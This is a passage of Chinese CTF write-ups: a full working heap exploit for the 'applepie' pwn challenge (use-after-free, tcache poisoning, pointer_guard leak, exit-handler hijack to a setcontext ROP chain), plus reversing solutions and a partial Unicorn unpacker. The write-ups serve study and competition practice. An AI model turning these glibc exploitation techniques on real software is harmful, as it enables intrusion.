def exploit():
io = remote(HOST, PORT)
io.recvline()
light(io, 0x100, 0x120, b'A' * 0x110 + p64(MAGIC) + p64(SEAL))
heapkey = u64(bytes(look(io) for _ in range(8)))
A = (heapkey << 12) + 0x310
g_lens = A + 0xd0
g_moon0 = A + 0x100
log.info(f'heap base-ish A = {hex(A)}')
log.info(f'g_lens = {hex(g_lens)}')
log.info(f'g_moon0 = {hex(g_moon0)}')
for _ in range(7):
light(io, 0x500, 0, b'')
for _ in range(3):
pray(io)
leak = u64(bytes(look(io) for _ in range(8)))
libc = leak - 0x203b20
log.info(f'libc = {hex(libc)}')
path_addr = A
buf_addr = A + 0x40
aim(io, A)
whisper(io, b'/flag\x00'.ljust(0x40, b'\x00') + b'\x00' * 0x80)
stack = g_moon0 + 0x3c8
ctx = bytearray(0x500)
ctx[0x68:0x70] = p64(path_addr)
ctx[0x70:0x78] = p64(0)
ctx[0x88:0x90] = p64(0)
ctx[0xa0:0xa8] = p64(stack)
ctx[0xa8:0xb0] = p64(libc + OFF_OPEN)
ctx[0xe0:0xe8] = p64(g_moon0 + 0x1a8)
ctx[0x1c0:0x1c4] = p32(0x1f80)
chain = [
libc + POP_RDI, 3,
libc + POP_RSI, buf_addr,
libc + SET_RDX_80, 0, 0, 0,
libc + OFF_READ,
libc + POP_RDI, 1,
libc + POP_RSI, buf_addr,
libc + SET_RDX_80, 0, 0, 0,
libc + OFF_WRITE,
]
for i, q in enumerate(chain):
ctx[0x3c8 + i * 8:0x3d0 + i * 8] = p64(q)
aim(io, g_moon0)
whisper(io, bytes(ctx))
aim(io, g_lens)
whisper(io, flat([
MAGIC,
SEAL,
libc + OFF_SETCTX,
0,
g_moon0,
MOOD,
], word_size=64))
cmd(io, 6)
io.interactive()
if __name__ == '__main__':
exploit()

Image

题目名称:applepie#

解题人:J4toPos

解题过程

程序分析#

程序维护了一个全局数组,元素结构大致如下:

struct slice {
size_t size;
char *buf;
};

每个槽位保存一块堆块大小和对应指针。核心问题出在删除逻辑:

free(slices[idx].buf);

释放后程序没有把指针清空,因此形成了典型的 UAF。后续:

  • show 可以继续读取已释放块

  • edit 可以继续写入已释放块

其中 show 的实现本质上相当于:

write(1, slices[idx].buf, slices[idx].size);

这意味着只要数组里的悬空指针还在,就能把 tcache、unsorted bin 中残留的链表内容直接读出来。

第一阶段:heap 和 libc 泄露#

1.1 初始布局#

先布置一个稳定的堆布局:

idx0: 0x40
idx1: 0x40
idx2: 0x500
idx3: 0x40
idx4: 0x900

对应思路是:

  • 小块用于 tcache / safe-linking 泄露与投毒

  • 0x500 大块用于泄露 unsorted bin

  • 0x900 大块作为后续 fake 结构和 ORW 栈的容器

1.2 泄露 heap#

free(idx0),然后 show(idx0),得到的是 safe-linking 处理后的链值,可记为 leak0

free(idx1),然后 show(idx1),得到第二个链值 leak1

根据 glibc safe-linking 的关系,可恢复第一个 0x40 chunk 的 user pointer:

A = leak1 ^ leak0

这里的 A 就是第一个小块的 user pointer,也是后续计算各个 chunk 固定相对位置的基准。

1.3 泄露 libc#

free(idx2),此时 0x500 大块会进 unsorted bin。

show(idx2) 时能直接读到 main_arena + 0x60 指针,于是:

libc_base = leak2 - 0x203b20

到这里,heap 基址和 libc 基址都已经拿到。

第二阶段:tcache poisoning 与任意读#

2.1 这题 safe-linking 的关键点#

这题 poison 时要注意:

写入的是目标 chunk 的 user pointer,而不是 `target - 0x10`。

例如最初 0x40 bin 的 poison,位置 key 为:

key = ((A + 0x50) >> 12)
poison = target ^ key

此外,由于后面的辅助 chunk 并不是重新从 top chunk 拿,而是继续从前面那块大 chunk 中切出来,所以后续块地址与 A 的相对关系是固定的:

第一个 0x60:A + 0xa0
第二个 0x60:A + 0x110
第一个 0x80:A + 0x180
第二个 0x80:A + 0x210
最终新 0x40:A + 0x2f0

因此不同 bin 的 safe-linking key 也可以稳定预先算出。

2.2 把 UAF 变成任意读#

利用方式就是经典的 tcache poisoning:

  1. 先 free 某个小块

  2. edit 对这个已释放 chunk 改写 tcache next

  3. 让后续 add 两次时,第二次分配落到目标地址

  4. 再用 show 把目标地址的数据读出来

因为程序本身提供了:

  • UAF 写:edit

  • UAF 读:show

所以做任意读会非常顺手。

第三阶段:继续泄露`ld.so`、`fs_base` 与 `pointer_guard`#

这题最终稳定利用依赖 glibc 的 pointer_guard,因此还要再打三段泄露。

3.1 泄露`ld.so` 的 RW 段地址#

先把一个 0x40 chunk 打到:

libc + 0x2046a0

读取这 0x40 数据后,取其中的 q3,可得到:

ldrw = *(uint64_t *)(libc + 0x2046a0 + 0x18)

这个值就是 ld-linux 的 RW 段地址。

3.2 通过`ld.so` 再泄露 `fs_base`#

然后使用 0x60 chunk 打到:

ldrw + 0x1170

这里结构比较稳定,泄露出的第 4 个 qword 满足:

q3 = fs_base + 0xaa0

所以:

fs_base = leak_q3 - 0xaa0

3.3 读取`pointer_guard`#

最后再用 0x80 chunk 打到:

fs_base + 0x30

首个 qword 就是:

pointer_guard = *(uint64_t *)(fs_base + 0x30)

这就是后续伪造退出链与跳转指针时必须用到的保护值。

第四阶段:利用 exit list 劫持到`setcontext`#

4.1 关键隐藏符号#

通过 debuginfo 可以锁定以下关键偏移:

__exit_funcs = 0x203680
__quick_exit_funcs = 0x203678
initial = 0x204fc0
__new_exitfn_called = 0x204fa0
setcontext = 0x4a960

其中最关键的是:

initial = libc + 0x204fc0

它对应 exit_function_list 的静态头结点,后续直接覆写这个结构即可。

4.2 fake`initial` 的构造#

quit() 最终会走到 exit(),进一步调用 __run_exit_handlers

对于 ef_cxa 类型的回调,其调用形式是:

fn(arg, status);

因此可以构造一个假的 exit_function_list 节点,让退出处理链直接调用被 pointer_guard 处理过的 setcontext

  • next = 0

  • idx = 1

  • fns[0].flavor = 4

  • fns[0].func.cxa.fn = PTR_MANGLE(setcontext, guard)

  • fns[0].func.cxa.arg = fake_ucontext

这样程序在退出阶段会直接跳转到 setcontext

第五阶段: ORW 链#

最终在 idx4 对应的 0x900 大 chunk 上布置:

  • fake ucontext

  • fake stack

  • 字符串 "flag"

  • 读入缓冲区 buf

然后退出触发 setcontext,切换到伪造栈执行 ORW。

最终链为:

openat(AT_FDCWD=-100, "flag", 0x100)
read(3, buf, 0x100)
write(1, buf, 0x100)
exit(0)

这里有两个细节:

(1)`rdx` 直接在初始上下文中设定#

最终做法是:

  • 直接在 fake ucontext 初始寄存器里设好 rdx = 0x100

  • readwrite 共用

(2)`openat` 的 flags 也复用 `0x100`#

因为不再动态修改 rdx,所以 openat 的 flags 也直接复用 0x100

这个值对应 O_NOCTTY,对普通文件 flag 不影响打开。

同时这里默认:

open("flag") -> fd = 3

exp:#

from argparse import ArgumentParser
from pwn import context, p32, p64, process, remote, u64
context.arch = "amd64"
context.log_level = "info"
MASK = (1 << 64) - 1
def q(x):
return p64(x & MASK)
def rol(x, r):
return ((x << r) | (x >> (64 - r))) & MASK
def ptr_mangle(x, guard):
return rol((x ^ guard) & MASK, 0x11)
class ApplePie:
def __init__(self, io):
self.io = io
self.sizes = {}
def recv_menu(self):
self.io.recvuntil(b"> ")
def choose(self, n):
self.recv_menu()
self.io.sendline(str(n).encode())
def send_idx(self, idx):
self.io.recvuntil(b"idx: ")
self.io.sendline(str(idx).encode())
def add(self, idx, size):
self.choose(1)
self.send_idx(idx)
self.io.recvuntil(b"size: ")
self.io.sendline(str(size).encode())
self.sizes[idx] = size
def edit(self, idx, data):
self.choose(2)
self.send_idx(idx)
self.io.recvuntil(b"len: ")
self.io.sendline(str(len(data)).encode())
self.io.recvuntil(b"data: ")
self.io.send(data)
def show(self, idx):
self.choose(3)
self.send_idx(idx)
self.io.recvuntil(b"crumbs: ")
data = self.io.recvn(self.sizes[idx])
self.io.recvuntil(b"\n")
return data
def delete(self, idx):
self.choose(5)
self.send_idx(idx)
def quit(self):
self.choose(6)
def do_leaks(app):
for idx, size in [(0, 0x40), (1, 0x40), (2, 0x500), (3, 0x40), (4, 0x900)]:
app.add(idx, size)
app.delete(0)
leak0 = u64(app.show(0)[:8])
app.delete(1)
leak1 = u64(app.show(1)[:8])
app.delete(2)
leak2 = u64(app.show(2)[:8])
a = leak1 ^ leak0
libc_base = leak2 - 0x203B20
return a, libc_base
def build_ucontext_stage(libc_base, fake, path_bytes):
off = {
"setcontext": 0x4A960,
"pop_rax": 0xDD237,
"pop_rdi": 0x10F78B,
"pop_rsi": 0x110A7D,
"syscall_ret": 0x98FB6,
}
uc = fake
stack = fake + 0x300
path = fake + 0x500
buf = fake + 0x540
fp = fake + 0x780
blob = bytearray(b"\x00" * 0x900)
def wr(addr, data):
blob[addr - fake : addr - fake + len(data)] = data
def wq(addr, val):
wr(addr, q(val))
# Minimal fpstate / mxcsr so setcontext's fldenv/ldmxcsr succeeds.
wq(uc + 0xE0, fp)
wr(uc + 0x1C0, p32(0x1F80))
wq(uc + 0xA0, stack)
wq(uc + 0xA8, libc_base + off["pop_rax"])
# rdx is shared across openat/read/write. 0x100 works as O_NOCTTY for openat.
wq(uc + 0x68, 0)
wq(uc + 0x70, 0)
wq(uc + 0x88, 0x100)
wq(uc + 0x98, 0)
wq(uc + 0x28, 0)
wq(uc + 0x30, 0)
for reg_off in (0x78, 0x80, 0x48, 0x50, 0x58, 0x60):
wq(uc + reg_off, 0)
chain = [
257,
libc_base + off["pop_rdi"],
0xFFFFFFFFFFFFFF9C,
libc_base + off["pop_rsi"],
path,
libc_base + off["syscall_ret"],
libc_base + off["pop_rax"],
0,
libc_base + off["pop_rdi"],
3,
libc_base + off["pop_rsi"],
buf,
libc_base + off["syscall_ret"],
libc_base + off["pop_rax"],
1,
libc_base + off["pop_rdi"],
1,
libc_base + off["pop_rsi"],
buf,
libc_base + off["syscall_ret"],
libc_base + off["pop_rax"],
60,
libc_base + off["pop_rdi"],
0,
libc_base + off["syscall_ret"],
]
for i, val in enumerate(chain):
wq(stack + i * 8, val)
wr(path, path_bytes + b"\x00")
return bytes(blob), uc, libc_base + off["setcontext"]
def build_exit_setcontext(initial, guard, uc, setcontext_addr):
blob = bytearray(b"\x00" * 0x40)
blob[0x00:0x08] = p64(0)
blob[0x08:0x10] = p64(1)
blob[0x10:0x18] = p64(4)
blob[0x18:0x20] = p64(ptr_mangle(setcontext_addr, guard))
blob[0x20:0x28] = p64(uc)
blob[0x28:0x30] = p64(0)
return bytes(blob)
def start_local(binary, ld_path, libdir):
argv = [ld_path, "--library-path", libdir, binary]
return process(argv)
def pwn(io, path_text):
app = ApplePie(io)
a, libc_base = do_leaks(app)
app.edit(1, q((libc_base + 0x2046A0) ^ ((a + 0x50) >> 12)))
app.add(5, 0x40)
app.add(6, 0x40)
ldrw = u64(app.show(6)[24:32])
for idx, size in [(7, 0x60), (8, 0x60), (9, 0x80), (10, 0x80)]:
app.add(idx, size)
app.delete(7)
app.delete(8)
app.edit(8, q((ldrw + 0x1170) ^ ((a + 0x110) >> 12)))
app.add(11, 0x60)
app.add(12, 0x60)
fs_base = u64(app.show(12)[24:32]) - 0xAA0
app.delete(9)
app.delete(10)
app.edit(10, q((fs_base + 0x30) ^ ((a + 0x210) >> 12)))
app.add(13, 0x80)
app.add(14, 0x80)
pointer_guard = u64(app.show(14)[:8])
fake = a + 0x600
stage, uc, setcontext_addr = build_ucontext_stage(libc_base, fake, path_text.encode())
app.edit(4, stage)
initial = libc_base + 0x204FC0
payload = build_exit_setcontext(initial, pointer_guard, uc, setcontext_addr)
app.add(15, 0x40)
app.add(12, 0x40)
app.delete(15)
app.delete(12)
app.edit(12, q(initial ^ ((a + 0x2F0) >> 12)))
app.add(11, 0x40)
app.add(6, 0x40)
app.edit(6, payload)
app.quit()
return io.recvrepeat(3)
def main():
parser = ArgumentParser()
parser.add_argument("--mode", choices=["local", "remote"], default="remote")
parser.add_argument("--host", default="114.66.24.210")
parser.add_argument("--port", type=int, default=48935)
parser.add_argument("--binary", default="/home/jatopos/MCP2/applepie/applepie")
parser.add_argument("--ld", default="/home/jatopos/MCP2/applepie/libc6_pkg/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2")
parser.add_argument("--libdir", default="/home/jatopos/MCP2/applepie/libc6_pkg/usr/lib/x86_64-linux-gnu")
parser.add_argument("--path", default="flag")
args = parser.parse_args()
if args.mode == "local":
io = start_local(args.binary, args.ld, args.libdir)
else:
io = remote(args.host, args.port)
try:
out = pwn(io, args.path)
print(out.decode("latin1", errors="replace"))
finally:
io.close()
if __name__ == "__main__":
main()

Image

Re#

题目名称:[彩蛋]Interlinked#

解题人:weixiao

解题过程:

Jadx打开apk,定位到mainactivity,看到flag的校验是在native层

Image

liblmao.so 没有导出 Java_com_aaron_lmao_challenge_NativeChallengeBridge_checkFlagNative,而是在 JNI_OnLoad 里动态注册。

JNI_OnLoad 中有几段 XOR 解密字符串,解出来是:

def decode(arr):
out = []
key = 52
for i in range(0, len(arr), 2):
out.append(arr[i] ^ (key - 3))
if i + 1 < len(arr):
out.append(arr[i + 1] ^ key)
key += 6
return bytes(out)
byte_CFE0 = [
0x52, 0x5B, 0x5A, 0x15, 0x5C, 0x21, 0x31, 0x29,
0x27, 0x63, 0x23, 0x3F, 0x34, 0x37, 0x74, 0x3D,
0x09, 0x05, 0x0B, 0x06, 0x08, 0x1E, 0x14, 0x13,
0x56, 0x32, 0x1E, 0xF6, 0xEC, 0xFE, 0xEE, 0xCD,
0xF9, 0xF5, 0xFB, 0xF6, 0xF8, 0xCE, 0xC4, 0xC3,
0xEB, 0xDE, 0xC6, 0xD6, 0xD2, 0xDD
]
byte_D00E = [
0x52, 0x5C, 0x52, 0x59, 0x56, 0x06, 0x2F, 0x27,
0x2E, 0x02, 0x2E, 0x26, 0x3C, 0x2E, 0x3E
]
byte_D01D = [
0x19, 0x78, 0x5D, 0x5B, 0x4B, 0x21, 0x6C, 0x2A,
0x28, 0x22, 0x28, 0x7D, 0x1A, 0x3A, 0x31, 0x3B,
0x02, 0x10, 0x5C, 0x26, 0x07, 0x11, 0x05, 0x17,
0x56, 0x10, 0x1E, 0xEC, 0xE2, 0xA7, 0xD8, 0xFA,
0xE3, 0xFD, 0xF9, 0xFD, 0xA6, 0x89, 0xF9
]
for name, arr in [
("class_name", byte_CFE0),
("method_name", byte_D00E),
("method_sig", byte_D01D),
]:
print(name, "=>", decode(arr).decode())
com/aaron/lmao/challenge/NativeChallengeBridge
checkFlagNative
(Ljava/lang/Object;Ljava/lang/String;)Z

注册到的 native handler 地址为:

sub_23CA0

Manifest 里注册了四个 ContentProvider:

Image

content://com.aaron.lmao.probe.virtualization/state
content://com.aaron.lmao.probe.hook/state
content://com.aaron.lmao.probe.root/state
content://com.aaron.lmao.probe.environment/state

Provider 基类 d6.smali 返回四列:

findings
proof
fold
detail

每个 Provider 先收集异常项。如果异常列表为空,findings = 0detail = cleanprooffold 由固定种子算出。

assets 里有一个重要文件:

out/assets/detector_snapshot.json

内容包含 clean 状态:

{
"recoveryUuid": "8f9c2d71-6b5a-43e8-a1c4-0d9e7f2b6a12",
"bridgeSeed": "3c7415a82e609bdf",
"categories": [
{ "name": "virtualization", "findings": 0, "proof": 17, "fold": 77 },
{ "name": "hook", "findings": 0, "proof": 31, "fold": 142 },
{ "name": "root", "findings": 0, "proof": 159, "fold": 177 },
{ "name": "environment", "findings": 0, "proof": 130, "fold": 70 }
]
}

这里容易被坑:recoveryUuid 不是最终 flag,它少了 native confirmation step。JSON 里也写了:

Native confirmation step intentionally omitted from this snapshot.

本地 rooted x86_64 emulator 查询 Provider 时会得到脏环境:

virtualization: findings=0 proof=17 fold=77 detail=clean
hook: findings=0 proof=31 fold=142 detail=clean
root: findings=1 proof=159 fold=4 detail=su
environment: findings=2 proof=130 fold=67 detail=abi | env:path

因此直接在当前模拟器里提交 clean UUID 会失败。这不是 flag 错,而是运行环境参与了 native 计算。

解题时不需要真的绕过 root/hook/虚拟化检测,只要把题目给出的 clean snapshot 当作 intended state,静态代入 native 算法即可。

native 校验逻辑

sub_23CA0 做了几件事:

  1. 通过 JNI 查询四个 Provider。

  2. 读出每类的 findings/proof/fold

  3. sub_24C60 做主进程侧二次确认。如果检测不一致,会把桶替换成 fallback。

  4. 缓存 16 字节 detector state。

  5. 校验输入是否为标准 UUID:长度 36,连字符在 8,13,18,23,其余 32 个字符都是 hex。

  6. 把输入转成 32 个 nibble,与 native 算出的目标 nibble 比较。

clean snapshot 的四个桶先被编码成 16 字节:

[findings, proof, fold, findings ^ fold] * 4

也就是:

00 11 4d 4d
00 1f 8e 8e
00 9f b1 b1
00 82 46 46

前 16 个 nibble

前半段目标主要来自 .rodataCF60

08 0f 09 0c 02 0d 07 01 06 0b 05 0a 04 03 0e 08

clean 状态下 SIMD 修正向量为 0,所以前 16 个 nibble 为:

8f9c2d716b5a43e8

格式化到 UUID 前半段:

8f9c2d71-6b5a-43e8

后 16 个 nibble

native 从 CF40 解出一段 16 nibble 中间值:

3c7415a82e609bdf

这正好对应 snapshot 里的:

bridgeSeed = 3c7415a82e609bdf

然后 native 会再和 CE60 表逐 nibble 异或:

bridgeSeed = 3 c 7 4 1 5 a 8 2 e 6 0 9 b d f
CE60 = 9 d b 0 1 8 3 6 5 1 4 b f 1 c c
xor = a 1 c 4 0 d 9 e 7 f 2 b 6 a 1 3

所以后 16 个 nibble 是:

a1c40d9e7f2b6a13

这解释了为什么 snapshot 的 ...6a12 提交不对。native 最后一层确认后,最后一位变成了 3

解题脚本

#!/usr/bin/env python3
import json
from pathlib import Path
ROOT = Path(__file__).resolve().parent
SO_PATH = ROOT / "out" / "lib" / "x86_64" / "liblmao.so"
SNAPSHOT_PATH = ROOT / "out" / "assets" / "detector_snapshot.json"
def rol8(x, n=1):
return ((x << n) | (x >> (8 - n))) & 0xFF
def native_hex_nibble(c):
"""Mirror the native ASCII hex-to-nibble path used for CF40 decoding."""
if ((c - 0x30) & 0xFF) < 10:
return (c - 0x30) & 0xFF
lowered = c | 0x20
if (c - 0x41) & 0xFFFFFFFF >= 0x1A:
lowered = c
return (lowered - 0x57) & 0xFF
def uuid_from_nibbles(nibbles):
raw = "".join("0123456789abcdef"[x & 0xF] for x in nibbles)
return f"{raw[:8]}-{raw[8:12]}-{raw[12:16]}-{raw[16:20]}-{raw[20:]}"
def clean_rows_from_snapshot(path):
snapshot = json.loads(path.read_text(encoding="utf-8"))
rows = []
for item in snapshot["categories"]:
rows.append((item["findings"], item["proof"], item["fold"]))
return snapshot, rows
def derive_cache_bytes(rows):
# sub_24740 writes [findings, proof, fold], and sub_23CA0 caches
# the fourth byte as findings ^ fold.
out = []
for findings, proof, fold in rows:
out.append((findings & 0xFF, proof & 0xFF, fold & 0xFF, (findings ^ fold) & 0xFF))
return out
def derive_second_half(so, cache):
cf40 = so[0xCF40:0xCF50]
ce60 = so[0xCE60:0xCE70]
proof_fold_highs = [cache[0][2], cache[1][2], cache[2][2], cache[3][2]]
tmp = []
key = 0x4A
for i, byte in enumerate(cf40):
decoded = byte ^ key
nibble = native_hex_nibble(decoded)
group = i >> 2
salt = ((0x10E0D >> (8 * group)) & 0xFF) if group < 3 else 6
tmp.append((nibble + (proof_fold_highs[group] ^ salt)) & 0xF)
key = (key + 7) & 0xFF
return [(a ^ b) & 0xF for a, b in zip(tmp, ce60)]
def derive_first_half(so, cache):
cf60 = list(so[0xCF60:0xCF70])
cea0 = list(so[0xCEA0:0xCEB0])
ce90 = list(so[0xCE90:0xCEA0])
cfb0 = list(so[0xCFB0:0xCFC0])
c0, c1, c2, c3 = cache
cl, r14b, bpl, byte73533 = c0
dl, bl, r15b, dword73534_3 = c1
r8b, r12b, r13b, _byte7353b = c2
dil, r9b, sil, _byte7353f = c3
orig_cl, orig_r14b, orig_bpl, orig_byte73533 = c0
orig_dl, orig_bl, orig_r15b, orig_dword73534_3 = c1
# This is the byte-wise chain at 0x242e5..0x243b0.
al = rol8(((cl + 0x3C) & 0xFF) ^ 0xE3)
al = (al + 0x12) & 0xFF
r14b = rol8(((r14b + 0x45) & 0xFF) ^ al)
r14b = (r14b + 0x13) & 0xFF
bpl = rol8(((bpl + 0x4E) & 0xFF) ^ r14b)
bpl = (bpl + 0x14) & 0xFF
bpl = rol8(bpl ^ 0x58)
bpl = (bpl + 0x15) & 0xFF
al = rol8(((dl + 0x60) & 0xFF) ^ bpl)
al = (al + 0x16) & 0xFF
bl = rol8(((bl + 0x69) & 0xFF) ^ al)
bl = (bl + 0x17) & 0xFF
r15b = rol8(((r15b + 0x72) & 0xFF) ^ bl)
r15b = (r15b + 0x18) & 0xFF
r15b = rol8(r15b ^ 0x7D)
r15b = (r15b + 0x19) & 0xFF
r8b = rol8(((r8b + 0x84) & 0xFF) ^ r15b)
r8b = (r8b + 0x1A) & 0xFF
r12b = rol8(((r12b + 0x8D) & 0xFF) ^ r8b)
r12b = (r12b + 0x1B) & 0xFF
r13b = rol8(((r13b + 0x96) & 0xFF) ^ r12b)
r13b = (r13b + 0x1C) & 0xFF
r13b = rol8(r13b ^ 0xA2)
r13b = (r13b + 0x1D) & 0xFF
dil = rol8(((dil + 0xA8) & 0xFF) ^ r13b)
dil = (dil + 0x1E) & 0xFF
r9b = rol8(((r9b + 0xB1) & 0xFF) ^ dil)
r9b = (r9b + 0x1F) & 0xFF
sil = ((sil + 0xBA) & 0xFF) ^ r9b
v59 = orig_dl & 0x0F
v60 = (rol8(sil) + 0x20) & 0xFF
v81 = orig_cl & 0x0F
# Mirror the SSE block:
# v69 = insert/pxor chain
xmm0 = [0] * 16
xmm0[0] = v59 | 0xD0
xmm0[1] = (orig_cl ^ v81) & 0xFF
xmm1 = [orig_dl, orig_bl, orig_r15b, orig_dword73534_3] + [0] * 12
xmm1[1] = cache[0][1]
xmm1 = [a ^ b for a, b in zip(xmm1, xmm0)]
xmm2 = [orig_dword73534_3, v60] + [0] * 14
xmm2 = [a ^ b for a, b in zip(xmm2, xmm1)]
xmm1 = cea0[:]
xmm1[0] = v60
xmm1 = [a ^ b for a, b in zip(xmm1, xmm2)]
xmm0 = [orig_bl, orig_byte73533] + [0] * 14
xmm1 = [a ^ b for a, b in zip(xmm1, xmm0)]
# punpcklbw xmm1,xmm1
unpacked = []
for x in xmm1[:8]:
unpacked.extend([x, x])
words = [unpacked[i * 2] | (unpacked[i * 2 + 1] << 8) for i in range(8)]
shifted2 = [(x << 2) & 0xFFFF for x in words]
shifted1 = [(x << 1) & 0xFFFF for x in words]
# pblendw imm=2 selects word 1 from shifted1, others from shifted2.
blended = [shifted1[i] if ((2 >> i) & 1) else shifted2[i] for i in range(8)]
shr = [x >> 8 for x in blended]
packed = [min(x, 0xFF) for x in shr] * 2
masked = [a & b for a, b in zip(packed, ce90)]
shuffled = [0 if (m & 0x80) else masked[m & 0x0F] for m in cfb0]
return [(a ^ b) & 0xF for a, b in zip(cf60, shuffled)]
def main():
so = SO_PATH.read_bytes()
snapshot, rows = clean_rows_from_snapshot(SNAPSHOT_PATH)
cache = derive_cache_bytes(rows)
first = derive_first_half(so, cache)
second = derive_second_half(so, cache)
uuid = uuid_from_nibbles(first + second)
print("[+] snapshot recoveryUuid:", snapshot["recoveryUuid"])
print("[+] bridgeSeed:", snapshot["bridgeSeed"])
print("[+] native-confirmed UUID:", uuid)
print("[+] flag: H&NCTF{%s}" % uuid)
if __name__ == "__main__":
main()

Image

Image

H&NCTF{8f9c2d71-6b5a-43e8-a1c4-0d9e7f2b6a13}

题目名称:shell#

解题人:weixiao

解题过程:

vmp_obf 是 64 位 Linux ELF,动态依赖里有 libYigodProtectSDK.so.0,并且节区里出现了 .cLf0.cLf1 这类保护器生成的节名。

Entry point: 0x8299ea
NEEDED: libYigodProtectSDK.so.0
RUNPATH: $ORIGIN
.cLf0: 0x400e30, executable, file size 0
.cLf1: 0x600340, RWX, file size 0x299487

主程序一开始的入口和 .cLf1 里充满跳转与无意义指令,直接线性反汇编很乱。保护库里的 VMProtectBeginVirtualizationVMProtectEnd 等函数实际都是空壳,因此核心逻辑在主程序自解包后的代码里。

动态脱壳思路

用 Unicorn 模拟 ELF 启动流程:

  1. 按 ELF PT_LOAD 段映射内存。

  2. 手动处理 R_X86_64_RELATIVEGLOB_DATJUMP_SLOTCOPY 重定位。

  3. malloc/open/lseek/mmap/mprotect/free/dladdr 等导入函数做 Python stub。

  4. 从入口 0x8299ea 开始模拟。

  5. 程序会读取自身文件,解密并写入空洞执行段。

  6. 当执行流第一次回到恢复后的 _start = 0x201880 时 dump 0x200000-0x204000

脱壳时能观察到关键行为:

malloc(0x160)
dladdr(...)
open(self)
lseek(fd, 0, SEEK_END) -> 2730573
mmap(self)
mprotect(0x400000, 0x14e81b, RWX)
...
mprotect(...)
jump 0x201880

dump 后,0x201880 已经恢复成正常 ELF _start,会调用 __libc_start_main(0x201aa0, ...),所以真实 main0x201aa0

真实主逻辑

恢复后的 main 大致如下:

int main() {
char buf[0x80] = {0};
puts("== H&NCTF 2026 :: vmp_obf ==");
fwrite("flag> ", 1, 6, stdout);
fflush(stdout);
if (!fgets(buf, 0x80, stdin)) {
puts("No input.");
return 1;
}
strip_newline(buf);
if (xor_chain_check(buf)) {
puts("Correct!");
return 0;
}
puts("Wrong.");
return 1;
}

校验函数在 0x2019c0,关键逻辑如下:

```c
ok = 1;
ok &= strlen(input) == 0x28;
ok &= input[*0..6*] == "H&NCTF{";
ok &= input[0x27] == '}';
prev = input[0];
for (i = 1; i < 0x28; i++) {
cur = input[i];
ok &= ((prev ^ cur) == table[i]);
prev = cur;
}
```text
反汇编中对应的循环:
```asm
201a0c movzx ecx, byte ptr [rbx]
201a0f lea rdi, [rip-0x12f7] ; table = 0x20071f
201a2f mov eax, 1
201a40 mov edx, ecx
201a42 movzx ecx, byte ptr [rbx+rax]
201a4a xor edx, ecx
201a4c cmp byte ptr [rdi+rax], dl
201a52 add rax, 1
201a5f cmp rax, 0x28
201a63 jne 0x201a40

rodata 中的 XOR 表在 0x20071f

00 6e 68 0d 17 12 3d 03 17 1d 2d 3c 0b 09 08 07
31 29 1b 32 30 0d 04 39 3a 04 12 0a 26 2d 17 13
29 6d 02 02 04 17 00 5c

解题脚本

#!/usr/bin/env python3
from __future__ import annotations
import argparse
import struct
from pathlib import Path
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
from unicorn import Uc, UcError, UC_ARCH_X86, UC_HOOK_CODE, UC_HOOK_MEM_INVALID, UC_MODE_64, UC_PROT_ALL
from unicorn.x86_const import (
UC_X86_REG_R8,
UC_X86_REG_R9,
UC_X86_REG_RAX,
UC_X86_REG_RCX,
UC_X86_REG_RDI,
UC_X86_REG_RDX,
UC_X86_REG_RIP,
UC_X86_REG_RSI,
UC_X86_REG_RSP,
)
ROOT = Path(__file__).resolve().parent
BIN_PATH = ROOT / "vmp_obf"
LOW_DUMP = ROOT / "dump_low.bin"
PAGE = 0x1000
MAP_START = 0x100000
MAP_END = 0xB00000
LOW_BASE = 0x200000
LOW_SIZE = 0x4000
UNPACKED_START = 0x201880
UNPACKED_STOP = 0x2018A2
STACK_BASE = 0x700000000000
STACK_SIZE = 0x200000
STUB_BASE = 0x5000000000
HEAP_BASE = 0x6000000000
def p64(value: int) -> bytes:
return struct.pack("<Q", value & ((1 << 64) - 1))
def u64(data: bytes) -> int:
return struct.unpack("<Q", data)[0]
def align_down(value: int) -> int:
return value & ~(PAGE - 1)
def align_up(value: int) -> int:
return (value + PAGE - 1) & ~(PAGE - 1)
class Unpacker:
def __init__(self, binary_path: Path):
self.binary_path = binary_path
self.binary = binary_path.read_bytes()
self.stream = binary_path.open("rb")
self.elf = ELFFile(self.stream)
self.uc = Uc(UC_ARCH_X86, UC_MODE_64)
self.fd_table = {3: {"data": self.binary, "pos": 0}}
self.next_fd = 4
self.next_heap = HEAP_BASE
self.stub_by_name: dict[str, int] = {}
self.name_by_stub: dict[int, str] = {}
self.reached_unpacked_entry = False
self._map(MAP_START, MAP_END - MAP_START)
self._load_segments()
self._map(STACK_BASE - STACK_SIZE, STACK_SIZE)
self._setup_process_stack()
self._setup_stubs()
self._apply_relocations()
self.uc.hook_add(UC_HOOK_CODE, self._hook_stub, None, STUB_BASE, STUB_BASE + 0x20000)
self.uc.hook_add(UC_HOOK_CODE, self._hook_unpacked_entry, None, UNPACKED_START, UNPACKED_STOP)
self.uc.hook_add(UC_HOOK_MEM_INVALID, self._hook_invalid_memory)
def _map(self, address: int, size: int) -> None:
try:
self.uc.mem_map(align_down(address), align_up((address & (PAGE - 1)) + size), UC_PROT_ALL)
except UcError:
pass
def _load_segments(self) -> None:
for segment in self.elf.iter_segments():
if segment["p_type"] != "PT_LOAD" or not segment["p_filesz"]:
continue
start = segment["p_offset"]
end = start + segment["p_filesz"]
self.uc.mem_write(segment["p_vaddr"], self.binary[start:end])
def _setup_process_stack(self) -> None:
sp = STACK_BASE - 0x1000
strings = STACK_BASE - 0x8000
self.program_path = str(self.binary_path).replace("\", "/").encode() + b"\x00"
argv = strings + 0x100
envp = strings + 0x200
self.uc.mem_write(strings, self.program_path)
self.uc.mem_write(argv, p64(strings) + p64(0))
self.uc.mem_write(envp, p64(0))
initial_sp = sp & ~0xF
self.uc.mem_write(initial_sp, p64(1) + p64(argv) + p64(0) + p64(0) + p64(0))
self.uc.reg_write(UC_X86_REG_RSP, initial_sp)
self.argc = 1
self.argv = argv
self.envp = envp
self.fake_stdin = 0x13370010
self.fake_stdout = 0x13370020
def _setup_stubs(self) -> None:
self._map(STUB_BASE, 0x20000)
names = [
"__libc_start_main",
"__gmon_start__",
"_ITM_deregisterTMCloneTable",
"_ITM_registerTMCloneTable",
"_Unwind_Resume",
"strlen",
"VMProtectBeginVirtualization",
"VMProtectEnd",
"puts",
"fwrite",
"fflush",
"fgets",
"malloc",
"fopen",
"fclose",
"dladdr",
"open",
"lseek",
"close",
